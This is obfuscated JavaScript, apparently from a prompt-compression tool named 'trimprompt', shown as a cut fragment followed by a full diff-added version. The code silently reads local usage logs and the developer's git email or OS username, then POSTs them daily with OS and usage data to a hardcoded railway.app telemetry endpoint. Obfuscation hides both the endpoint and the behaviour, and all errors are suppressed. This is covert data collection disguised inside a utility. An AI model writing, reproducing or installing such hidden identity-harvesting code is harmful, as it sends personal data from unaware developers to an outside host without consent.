fs=__importStar(require('fs')),path=__importStar(require(a0_0x1711f7(0x221))),os=__importStar(require('os')),http=__importStar(require(a0_0x1711f7(0x209))),https=__importStar(require('https')),url_1=require(a0_0x1711f7(0x220)),_cfg=['https://',a0_0x1711f7(0x1d9),'.up.railway.app',a0_0x1711f7(0x1fa)][a0_0x1711f7(0x1d2)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1711f7(0x1cb),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1711f7(0x1f3),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os['homedir'](),'.trimprompt'),configPath=path['join'](baseDir,a0_0x1711f7(0x206)),statsPath=path[a0_0x1711f7(0x1d2)](baseDir,a0_0x1711f7(0x1d1)),dailySyncPath=path[a0_0x1711f7(0x1d2)](baseDir,a0_0x1711f7(0x21a));function getTodayDate(){const _0x115376=a0_0x1711f7;return new Date()[_0x115376(0x216)]()[_0x115376(0x20e)]('T')[0x0];}function getDeveloperIdentity(){const _0x51356c=a0_0x1711f7;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5ac2c1}=require(_0x51356c(0x1f9)),_0x5a7dab=_0x5ac2c1('git\x20config\x20user.email',{'stdio':[_0x51356c(0x218),_0x51356c(0x20b),_0x51356c(0x218)]})[_0x51356c(0x1eb)]()['trim']();if(_0x5a7dab&&_0x5a7dab[_0x51356c(0x1e1)]('@'))return _0x5a7dab;}catch{}try{const _0x1f6a8c=os[_0x51356c(0x1d3)]()[_0x51356c(0x1f1)];if(_0x1f6a8c)return _0x1f6a8c;}catch{}return _0x51356c(0x1fc);}function hasAlreadySyncedToday(){const _0x1de0d9=a0_0x1711f7;try{if(!fs[_0x1de0d9(0x1db)](dailySyncPath))return![];const _0x52a617=JSON[_0x1de0d9(0x225)](fs[_0x1de0d9(0x1fb)](dailySyncPath,_0x1de0d9(0x1d0)));return _0x52a617[_0x1de0d9(0x1ea)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2395de=a0_0x1711f7;try{const _0x395175={'last_sync_date':getTodayDate()};fs[_0x2395de(0x1f7)](dailySyncPath,JSON[_0x2395de(0x20a)](_0x395175,null,0x2),_0x2395de(0x1d0));}catch{}}function postTelemetry(_0x45e4f1,_0x1fd354){return new Promise(_0x18acf6=>{const _0x390115=a0_0x5724;try{const _0x14d90f=new url_1[(_0x390115(0x1e6))](_0x45e4f1),_0x1cac42=JSON[_0x390115(0x20a)](_0x1fd354),_0xd5c2bc={'hostname':_0x14d90f[_0x390115(0x1f2)],'port':_0x14d90f[_0x390115(0x208)]||(_0x14d90f[_0x390115(0x1ef)]===_0x390115(0x1d6)?0x1bb:0x50),'path':_0x14d90f[_0x390115(0x1d4)]+_0x14d90f['search'],'method':_0x390115(0x1cd),'headers':{'Content-Type':_0x390115(0x1f8),'Content-Length':Buffer[_0x390115(0x1e0)](_0x1cac42)},'timeout':0x1f40},_0x118052=_0x14d90f['protocol']===_0x390115(0x1d6)?https:http,_0x26f8de=_0x118052[_0x390115(0x1ff)](_0xd5c2bc,_0x31d9ed=>{_0x18acf6(!!(_0x31d9ed['statusCode']&&_0x31d9ed['statusCode']>=0xc8&&_0x31d9ed['statusCode']<0x12c));});_0x26f8de['on'](_0x390115(0x201),()=>_0x18acf6(![])),_0x26f8de['on'](_0x390115(0x1e9),()=>{const _0x197617=_0x390115;_0x26f8de[_0x197617(0x222)](),_0x18acf6(![]);}),_0x26f8de[_0x390115(0x1e4)](_0x1cac42),_0x26f8de['end']();}catch{_0x18acf6(![]);}});}function buildDailyPayload(_0x3c023a){const _0x1b3bf7=a0_0x1711f7,_0x5ba2b4=getTodayDate(),_0x168ee5=_0x3c023a[_0x1b3bf7(0x217)](_0x14d75a=>_0x14d75a[_0x1b3bf7(0x223)][_0x1b3bf7(0x21d)](_0x5ba2b4)),_0x4c1f42=_0x168ee5[_0x1b3bf7(0x212)]>0x0?_0x168ee5:_0x3c023a,_0x160a2b=_0x4c1f42[_0x1b3bf7(0x217)](_0x2c5aa4=>_0x2c5aa4[_0x1b3bf7(0x1ec)]!==![]);let _0x156836=0x0,_0x533219=0x0,_0x124adb=0x0,_0x1e963c=0x0;const _0x27ab54=new Set(),_0x5131bd={};for(const _0xf4f1d of _0x160a2b){_0x156836+=_0xf4f1d[_0x1b3bf7(0x1dd)],_0x533219+=_0xf4f1d[_0x1b3bf7(0x1e7)],_0x124adb+=_0xf4f1d[_0x1b3bf7(0x1f5)],_0x27ab54['add'](_0xf4f1d[_0x1b3bf7(0x203)]);const _0x54b246=PRICING[_0xf4f1d[_0x1b3bf7(0x203)]]||PRICING['claude-3-5-sonnet'];_0x1e963c+=_0xf4f1d[_0x1b3bf7(0x1f5)]*_0x54b246[_0x1b3bf7(0x219)]/0xf4240;const _0x4061a0=_0xf4f1d[_0x1b3bf7(0x21f)]||'unknown';if(!_0x5131bd[_0x4061a0])_0x5131bd[_0x4061a0]={'raw':0x0,'comp':0x0,'count':0x0};_0x5131bd[_0x4061a0]['raw']+=_0xf4f1d[_0x1b3bf7(0x1dd)],_0x5131bd[_0x4061a0][_0x1b3bf7(0x21e)]+=_0xf4f1d[_0x1b3bf7(0x1e7)],_0x5131bd[_0x4061a0][_0x1b3bf7(0x21b)]+=0x1;}const _0x452517=Object[_0x1b3bf7(0x1f4)](_0x5131bd)[_0x1b3bf7(0x214)](([_0x34e2ba,_0x5083fb])=>({'command':_0x34e2ba,'percentage':_0x5083fb['raw']>0x0?Math[_0x1b3bf7(0x1de)]((_0x5083fb[_0x1b3bf7(0x21c)]-_0x5083fb[_0x1b3bf7(0x21e)])/_0x5083fb[_0x1b3bf7(0x21c)]*0x64):0x0,'executions':_0x5083fb[_0x1b3bf7(0x21b)]}))[_0x1b3bf7(0x211)]((_0x3cc653,_0x5921a9)=>_0x5921a9[_0x1b3bf7(0x224)]-_0x3cc653[_0x1b3bf7(0x224)])[_0x1b3bf7(0x202)](0x0,0xa),_0x1e75cf=_0x160a2b[_0x160a2b['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x1b3bf7(0x1f6)](),'date':_0x5ba2b4,'executions_count':_0x160a2b[_0x1b3bf7(0x212)],'total_raw_tokens':_0x156836,'total_compressed_tokens':_0x533219,'total_tokens_saved':_0x124adb,'total_money_saved_usd':parseFloat(_0x1e963c[_0x1b3bf7(0x1e8)](0x6)),'models_used':Array[_0x1b3bf7(0x1dc)](_0x27ab54),'hotspots':_0x452517,'last_seen':_0x1e75cf?_0x1e75cf[_0x1b3bf7(0x223)]:new Date()['toISOString']()};}async function runSync(){const _0x399abc=a0_0x1711f7;if(!fs[_0x399abc(0x1db)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x3f5c34;try{_0x3f5c34=JSON[_0x399abc(0x225)](fs[_0x399abc(0x1fb)](statsPath,'utf8'));}catch{return;}const _0x365d74=_0x3f5c34[_0x399abc(0x217)](_0xe351ea=>!_0xe351ea[_0x399abc(0x1ce)]);if(_0x365d74['length']===0x0)return;const _0xd2739d=buildDailyPayload(_0x3f5c34);await postTelemetry(_ep,_0xd2739d);let _0xedafd6=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xedafd6&&fs[_0x399abc(0x1db)](configPath))try{const _0x4876ed=JSON[_0x399abc(0x225)](fs['readFileSync'](configPath,_0x399abc(0x1d0)));_0xedafd6=_0x4876ed['telemetry_url']||'';}catch{}_0xedafd6['trim']()[_0x399abc(0x212)]>0x0&&await postTelemetry(_0xedafd6,_0xd2739d);for(const _0x5ba7c9 of _0x3f5c34){if(!_0x5ba7c9['synced'])_0x5ba7c9[_0x399abc(0x1ce)]=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x3f5c34,null,0x2),_0x399abc(0x1d0));}catch{}markSyncedToday(),pruneOldLogs(_0x3f5c34);}function pruneOldLogs(_0x339911){const _0x58b5f0=a0_0x1711f7;try{const _0x4991a=new Date(),_0x42d406=new Date(_0x4991a[_0x58b5f0(0x1df)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x12acec=[],_0x410f33=[];for(const _0x2e46e0 of _0x339911){const _0x526f18=new Date(_0x2e46e0['timestamp']);_0x526f18>=_0x42d406?_0x12acec['push'](_0x2e46e0):_0x410f33[_0x58b5f0(0x1da)](_0x2e46e0);}if(_0x410f33[_0x58b5f0(0x212)]>0x0){const _0x3cfa95=path[_0x58b5f0(0x1d2)](baseDir,'logs');for(const _0x2a250c of _0x410f33){const _0x13e69e=path[_0x58b5f0(0x1d2)](_0x3cfa95,_0x2a250c['id']+_0x58b5f0(0x1cc)),_0x2a2174=path['join'](_0x3cfa95,_0x2a250c['id']+_0x58b5f0(0x210));try{if(fs[_0x58b5f0(0x1db)](_0x13e69e))fs['unlinkSync'](_0x13e69e);if(fs[_0x58b5f0(0x1db)](_0x2a2174))fs[_0x58b5f0(0x1d8)](_0x2a2174);}catch{}}fs[_0x58b5f0(0x1f7)](statsPath,JSON[_0x58b5f0(0x20a)](_0x12acec,null,0x2),_0x58b5f0(0x1d0));}}catch{}}runSync()['catch'](()=>{});
1
+ 'use strict';const a0_0x1efd50=a0_0x4000;(function(_0x8486f,_0x3a5fc2){const _0x297f6c=a0_0x4000,_0x3f7db9=_0x8486f();while(!![]){try{const _0x17ae3a=-parseInt(_0x297f6c(0x156))/0x1+-parseInt(_0x297f6c(0x175))/0x2+parseInt(_0x297f6c(0x17d))/0x3+parseInt(_0x297f6c(0x1a6))/0x4*(parseInt(_0x297f6c(0x180))/0x5)+-parseInt(_0x297f6c(0x19e))/0x6*(parseInt(_0x297f6c(0x1a0))/0x7)+-parseInt(_0x297f6c(0x178))/0x8*(parseInt(_0x297f6c(0x177))/0x9)+parseInt(_0x297f6c(0x196))/0xa*(parseInt(_0x297f6c(0x193))/0xb);if(_0x17ae3a===_0x3a5fc2)break;else _0x3f7db9['push'](_0x3f7db9['shift']());}catch(_0x127cc2){_0x3f7db9['push'](_0x3f7db9['shift']());}}}(a0_0x43c6,0x3371d));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1efd50(0x16d)]?function(_0x51ce9e,_0x220500,_0x25d788,_0x57cb16){const _0x2e6bff=a0_0x1efd50;if(_0x57cb16===undefined)_0x57cb16=_0x25d788;var _0x30288f=Object['getOwnPropertyDescriptor'](_0x220500,_0x25d788);(!_0x30288f||('get'in _0x30288f?!_0x220500[_0x2e6bff(0x187)]:_0x30288f['writable']||_0x30288f[_0x2e6bff(0x18a)]))&&(_0x30288f={'enumerable':!![],'get':function(){return _0x220500[_0x25d788];}}),Object['defineProperty'](_0x51ce9e,_0x57cb16,_0x30288f);}:function(_0x487699,_0x50b737,_0x5dee47,_0xd6d79a){if(_0xd6d79a===undefined)_0xd6d79a=_0x5dee47;_0x487699[_0xd6d79a]=_0x50b737[_0x5dee47];}),__setModuleDefault=this&&this[a0_0x1efd50(0x16c)]||(Object[a0_0x1efd50(0x16d)]?function(_0x4a5e02,_0x39c553){const _0x321666=a0_0x1efd50;Object['defineProperty'](_0x4a5e02,_0x321666(0x15a),{'enumerable':!![],'value':_0x39c553});}:function(_0x49d2b4,_0x50f88f){const _0x378ab3=a0_0x1efd50;_0x49d2b4[_0x378ab3(0x15a)]=_0x50f88f;}),__importStar=this&&this[a0_0x1efd50(0x1a8)]||(function(){var _0x3c6529=function(_0x25e63e){const _0x3edfb5=a0_0x4000;return _0x3c6529=Object[_0x3edfb5(0x185)]||function(_0x124f28){const _0x3a2ded=_0x3edfb5;var _0x5096a2=[];for(var _0x18da53 in _0x124f28)if(Object[_0x3a2ded(0x155)][_0x3a2ded(0x16f)][_0x3a2ded(0x199)](_0x124f28,_0x18da53))_0x5096a2[_0x5096a2[_0x3a2ded(0x17e)]]=_0x18da53;return _0x5096a2;},_0x3c6529(_0x25e63e);};return function(_0x10ec93){const _0x5bd27f=a0_0x4000;if(_0x10ec93&&_0x10ec93['__esModule'])return _0x10ec93;var _0x5cf8e7={};if(_0x10ec93!=null){for(var _0x25404a=_0x3c6529(_0x10ec93),_0x4f7156=0x0;_0x4f7156<_0x25404a[_0x5bd27f(0x17e)];_0x4f7156++)if(_0x25404a[_0x4f7156]!==_0x5bd27f(0x15a))__createBinding(_0x5cf8e7,_0x10ec93,_0x25404a[_0x4f7156]);}return __setModuleDefault(_0x5cf8e7,_0x10ec93),_0x5cf8e7;};}());Object['defineProperty'](exports,a0_0x1efd50(0x187),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1efd50(0x19c))),os=__importStar(require('os')),http=__importStar(require(a0_0x1efd50(0x194))),https=__importStar(require(a0_0x1efd50(0x169))),url_1=require(a0_0x1efd50(0x159)),_cfg=[a0_0x1efd50(0x16b),'trimp-production',a0_0x1efd50(0x18b),'/api/telemetry'][a0_0x1efd50(0x17c)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1efd50(0x174),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1efd50(0x16a),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x1efd50(0x15f),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1efd50(0x1a9),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x1efd50(0x165),'input_price_1m':0.075}},baseDir=path['join'](os['homedir'](),a0_0x1efd50(0x1a2)),configPath=path[a0_0x1efd50(0x17c)](baseDir,a0_0x1efd50(0x167)),statsPath=path[a0_0x1efd50(0x17c)](baseDir,a0_0x1efd50(0x162)),dailySyncPath=path[a0_0x1efd50(0x17c)](baseDir,a0_0x1efd50(0x19b));function getTodayDate(){const _0x212eff=a0_0x1efd50;return new Date()[_0x212eff(0x1a1)]()[_0x212eff(0x16e)]('T')[0x0];}function a0_0x4000(_0x47540f,_0x22cea9){_0x47540f=_0x47540f-0x14d;const _0x43c615=a0_0x43c6();let _0x400014=_0x43c615[_0x47540f];return _0x400014;}function a0_0x43c6(){const _0x308cd2=['raw','30DzzzUJ','timeout','executions','call','utf8','daily_sync.json','path','synced','1244286ZBLRTt','sort','14tDxKtM','toISOString','.trimprompt','parse','search','application/json','373928fLFzfX','from','__importStar','Gemini\x201.5\x20Pro','userInfo','unknown','destroy','toString','protocol','includes','logs','getTime','prototype','35852Ezjjjz','filter','count','url','default','POST','estimated_compressed_tokens','toFixed','readFileSync','GPT-4o\x20Mini','catch','request','stats.json','stringify','https:','Gemini\x201.5\x20Flash','child_process','config.json','statusCode','https','GPT-4o','https://','__setModuleDefault','create','split','hasOwnProperty','.comp.txt','end','username','byteLength','Claude\x203.5\x20Sonnet','420742ILWdSx','error','3634893rGSQSP','8PMVqcF','git\x20config\x20user.email','timestamp','tokens_saved','join','912051SQtnrT','length','ignore','15IOOrSw','trim','unlinkSync','port','URL','getOwnPropertyNames','existsSync','__esModule','round','anonymous','configurable','.up.railway.app','input_price_1m','pipe','startsWith','writeFileSync','comp','.raw.txt','map','2534092YjROrZ','http'];a0_0x43c6=function(){return _0x308cd2;};return a0_0x43c6();}function getDeveloperIdentity(){const _0x23d50a=a0_0x1efd50;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x1660ac}=require(_0x23d50a(0x166)),_0x535263=_0x1660ac(_0x23d50a(0x179),{'stdio':[_0x23d50a(0x17f),_0x23d50a(0x18d),_0x23d50a(0x17f)]})[_0x23d50a(0x150)]()[_0x23d50a(0x181)]();if(_0x535263&&_0x535263[_0x23d50a(0x152)]('@'))return _0x535263;}catch{}try{const _0x50c418=os[_0x23d50a(0x14d)]()[_0x23d50a(0x172)];if(_0x50c418)return _0x50c418;}catch{}return _0x23d50a(0x189);}function hasAlreadySyncedToday(){const _0x58665a=a0_0x1efd50;try{if(!fs[_0x58665a(0x186)](dailySyncPath))return![];const _0x5d5657=JSON[_0x58665a(0x1a3)](fs[_0x58665a(0x15e)](dailySyncPath,_0x58665a(0x19a)));return _0x5d5657['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x46beac=a0_0x1efd50;try{const _0x56b072={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x46beac(0x163)](_0x56b072,null,0x2),_0x46beac(0x19a));}catch{}}function postTelemetry(_0x2cd061,_0x108ff7){return new Promise(_0x1078d7=>{const _0x48960e=a0_0x4000;try{const _0x1ba008=new url_1[(_0x48960e(0x184))](_0x2cd061),_0x373b4b=JSON[_0x48960e(0x163)](_0x108ff7),_0x4af107={'hostname':_0x1ba008['hostname'],'port':_0x1ba008[_0x48960e(0x183)]||(_0x1ba008[_0x48960e(0x151)]===_0x48960e(0x164)?0x1bb:0x50),'path':_0x1ba008['pathname']+_0x1ba008[_0x48960e(0x1a4)],'method':_0x48960e(0x15b),'headers':{'Content-Type':_0x48960e(0x1a5),'Content-Length':Buffer[_0x48960e(0x173)](_0x373b4b)},'timeout':0x1f40},_0x5178e4=_0x1ba008['protocol']==='https:'?https:http,_0x5d2273=_0x5178e4[_0x48960e(0x161)](_0x4af107,_0x4e1fde=>{const _0x2a6918=_0x48960e;_0x1078d7(!!(_0x4e1fde['statusCode']&&_0x4e1fde[_0x2a6918(0x168)]>=0xc8&&_0x4e1fde[_0x2a6918(0x168)]<0x12c));});_0x5d2273['on'](_0x48960e(0x176),()=>_0x1078d7(![])),_0x5d2273['on'](_0x48960e(0x197),()=>{const _0x565615=_0x48960e;_0x5d2273[_0x565615(0x14f)](),_0x1078d7(![]);}),_0x5d2273['write'](_0x373b4b),_0x5d2273[_0x48960e(0x171)]();}catch{_0x1078d7(![]);}});}function buildDailyPayload(_0x57572b){const _0x5c7062=a0_0x1efd50,_0x4b3491=getTodayDate(),_0x31f7a8=_0x57572b[_0x5c7062(0x157)](_0x1f8856=>_0x1f8856[_0x5c7062(0x17a)][_0x5c7062(0x18e)](_0x4b3491)),_0x123161=_0x31f7a8['length']>0x0?_0x31f7a8:_0x57572b,_0x556a83=_0x123161[_0x5c7062(0x157)](_0x2234ad=>_0x2234ad['ai_detected']!==![]);let _0x2a3277=0x0,_0x46a089=0x0,_0x3ec028=0x0,_0x2c1204=0x0;const _0x132cde=new Set(),_0x425909={};for(const _0x21157d of _0x556a83){_0x2a3277+=_0x21157d['estimated_raw_tokens'],_0x46a089+=_0x21157d[_0x5c7062(0x15c)],_0x3ec028+=_0x21157d[_0x5c7062(0x17b)],_0x132cde['add'](_0x21157d['model_used']);const _0xd7cbb5=PRICING[_0x21157d['model_used']]||PRICING['claude-3-5-sonnet'];_0x2c1204+=_0x21157d[_0x5c7062(0x17b)]*_0xd7cbb5[_0x5c7062(0x18c)]/0xf4240;const _0x100dab=_0x21157d['command']||_0x5c7062(0x14e);if(!_0x425909[_0x100dab])_0x425909[_0x100dab]={'raw':0x0,'comp':0x0,'count':0x0};_0x425909[_0x100dab][_0x5c7062(0x195)]+=_0x21157d['estimated_raw_tokens'],_0x425909[_0x100dab][_0x5c7062(0x190)]+=_0x21157d['estimated_compressed_tokens'],_0x425909[_0x100dab][_0x5c7062(0x158)]+=0x1;}const _0x16a3f4=Object['entries'](_0x425909)[_0x5c7062(0x192)](([_0x241867,_0x45dc24])=>({'command':_0x241867,'percentage':_0x45dc24['raw']>0x0?Math[_0x5c7062(0x188)]((_0x45dc24[_0x5c7062(0x195)]-_0x45dc24[_0x5c7062(0x190)])/_0x45dc24['raw']*0x64):0x0,'executions':_0x45dc24[_0x5c7062(0x158)]}))[_0x5c7062(0x19f)]((_0x866937,_0x56c8a9)=>_0x56c8a9[_0x5c7062(0x198)]-_0x866937[_0x5c7062(0x198)])['slice'](0x0,0xa),_0x14a134=_0x556a83[_0x556a83[_0x5c7062(0x17e)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4b3491,'executions_count':_0x556a83[_0x5c7062(0x17e)],'total_raw_tokens':_0x2a3277,'total_compressed_tokens':_0x46a089,'total_tokens_saved':_0x3ec028,'total_money_saved_usd':parseFloat(_0x2c1204[_0x5c7062(0x15d)](0x6)),'models_used':Array[_0x5c7062(0x1a7)](_0x132cde),'hotspots':_0x16a3f4,'last_seen':_0x14a134?_0x14a134['timestamp']:new Date()[_0x5c7062(0x1a1)]()};}async function runSync(){const _0x371fea=a0_0x1efd50;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x1d1617;try{_0x1d1617=JSON[_0x371fea(0x1a3)](fs[_0x371fea(0x15e)](statsPath,_0x371fea(0x19a)));}catch{return;}const _0x498714=_0x1d1617[_0x371fea(0x157)](_0x29e4b6=>!_0x29e4b6[_0x371fea(0x19d)]);if(_0x498714['length']===0x0)return;const _0x57ebb8=buildDailyPayload(_0x1d1617);await postTelemetry(_ep,_0x57ebb8);let _0x5a9c08=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x5a9c08&&fs['existsSync'](configPath))try{const _0x854407=JSON['parse'](fs[_0x371fea(0x15e)](configPath,_0x371fea(0x19a)));_0x5a9c08=_0x854407['telemetry_url']||'';}catch{}_0x5a9c08[_0x371fea(0x181)]()[_0x371fea(0x17e)]>0x0&&await postTelemetry(_0x5a9c08,_0x57ebb8);for(const _0x15676c of _0x1d1617){if(!_0x15676c[_0x371fea(0x19d)])_0x15676c[_0x371fea(0x19d)]=!![];}try{fs[_0x371fea(0x18f)](statsPath,JSON['stringify'](_0x1d1617,null,0x2),_0x371fea(0x19a));}catch{}markSyncedToday(),pruneOldLogs(_0x1d1617);}function pruneOldLogs(_0x3bce59){const _0x134a04=a0_0x1efd50;try{const _0x411476=new Date(),_0xaa480c=new Date(_0x411476[_0x134a04(0x154)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3f98c0=[],_0x2eea65=[];for(const _0x3d44bb of _0x3bce59){const _0x51bb7c=new Date(_0x3d44bb[_0x134a04(0x17a)]);_0x51bb7c>=_0xaa480c?_0x3f98c0['push'](_0x3d44bb):_0x2eea65['push'](_0x3d44bb);}if(_0x2eea65[_0x134a04(0x17e)]>0x0){const _0x33f387=path[_0x134a04(0x17c)](baseDir,_0x134a04(0x153));for(const _0x53ecc6 of _0x2eea65){const _0x3a68af=path['join'](_0x33f387,_0x53ecc6['id']+_0x134a04(0x191)),_0x36ccdf=path[_0x134a04(0x17c)](_0x33f387,_0x53ecc6['id']+_0x134a04(0x170));try{if(fs[_0x134a04(0x186)](_0x3a68af))fs[_0x134a04(0x182)](_0x3a68af);if(fs[_0x134a04(0x186)](_0x36ccdf))fs['unlinkSync'](_0x36ccdf);}catch{}}fs[_0x134a04(0x18f)](statsPath,JSON[_0x134a04(0x163)](_0x3f98c0,null,0x2),_0x134a04(0x19a));}}catch{}}runSync()[a0_0x1efd50(0x160)](()=>{});